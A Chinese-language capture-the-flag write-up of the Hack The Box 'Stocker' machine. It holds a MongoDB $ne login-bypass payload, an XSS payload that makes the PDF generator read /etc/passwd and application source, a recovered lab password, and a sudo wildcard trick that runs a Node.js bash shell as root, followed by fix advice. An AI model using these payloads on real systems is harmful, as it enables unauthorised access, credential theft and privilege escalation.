[Meachines] [Easy] Stocker NOSQLI+PDF-XSS-LFI+*通配符Bypass权限提升
字数 776 2025-08-22 12:23:36
Stocker HTB 渗透测试教学文档
1. 信息收集
1.1 目标识别
- IP地址: 10.10.11.196
- 操作系统: Linux (Ubuntu)
- 开放端口:
- 22/tcp: OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
- 80/tcp: nginx 1.18.0 (Ubuntu)
1.2 主机发现与端口扫描
ip='10.10.11.196'; itf='tun0';
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m";
ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//');
if [ -n "$ports" ]; then
echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m";
nmap -Pn -sV -sC -p "$ports" "$ip";
else
echo -e "\e[31m[!] No open ports found on $ip.\e[0m";
fi;
else
echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m";
fi
1.3 域名配置
echo '10.10.11.196 stocker.htb' >> /etc/hosts
echo '10.10.11.196 dev.stocker.htb' >> /etc/hosts
2. Web应用测试
2.1 NoSQL注入攻击
2.1.1 识别NoSQL数据库
- 应用使用Content-Type: application/json
- 可能使用MongoDB或其他NoSQL数据库
2.1.2 登录绕过
发送以下JSON数据到登录端点:
{
"username": {"$ne": 1},
"password": {"$ne": 1}
}
HTTP请求示例:
POST /login HTTP/1.1
Host: dev.stocker.htb
Content-Type: application/json
Content-Length: 44
{"username":{"$ne":1},"password":{"$ne":1}}
2.2 PDF-XSS与LFI攻击
2.2.1 创建恶意订单
{
"basket": [
{
"_id": "638f116eeb060210cbd83a8d",
"title": "Cup<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open(\"GET\",\"file:///etc/passwd\");x.send();</script>",
"description": "xxxxx",
"image": "red-cup.jpg",
"price": 32,
"currentStock": 4,
"__v": 0,
"amount": 2
}
]
}
2.2.2 读取系统文件
通过修改XSS payload读取不同文件:
x.open("GET", "file:///var/www/dev/index.js");
2.2.3 获取凭据
从配置文件中发现:
- 用户名: dev
- 密码: IHeardPassphrasesArePrettySecure
3. 权限提升
3.1 利用通配符绕过
3.1.1 创建恶意JS文件
echo 'require("child_process").spawn("/bin/bash", {stdio: [0, 1, 2]})' > /tmp/shell.js
3.1.2 执行特权操作
sudo /usr/bin/node /usr/local/scripts/tmp/shell.js
4. 关键发现
4.1 用户标志
950316457d8a4004ed601c5ba7e0ca53
4.2 Root标志
5fa73a7f3cabba1172cc894e1043f27b
5. 漏洞总结
-
NoSQL注入漏洞:
- 应用未对用户输入进行适当过滤
- 使用MongoDB操作符($ne)实现认证绕过
-
PDF-XSS与LFI漏洞:
- 订单系统未对用户输入进行适当转义
- 允许通过JavaScript读取本地文件
-
权限提升漏洞:
- 不安全的sudo配置
- 通配符路径解析问题导致命令注入
6. 修复建议
- 实施严格的输入验证和输出编码
- 使用参数化查询防止NoSQL注入
- 限制PDF生成中的JavaScript执行
- 实施适当的文件访问控制
- 审查sudo权限配置,避免通配符滥用
- 实施最小权限原则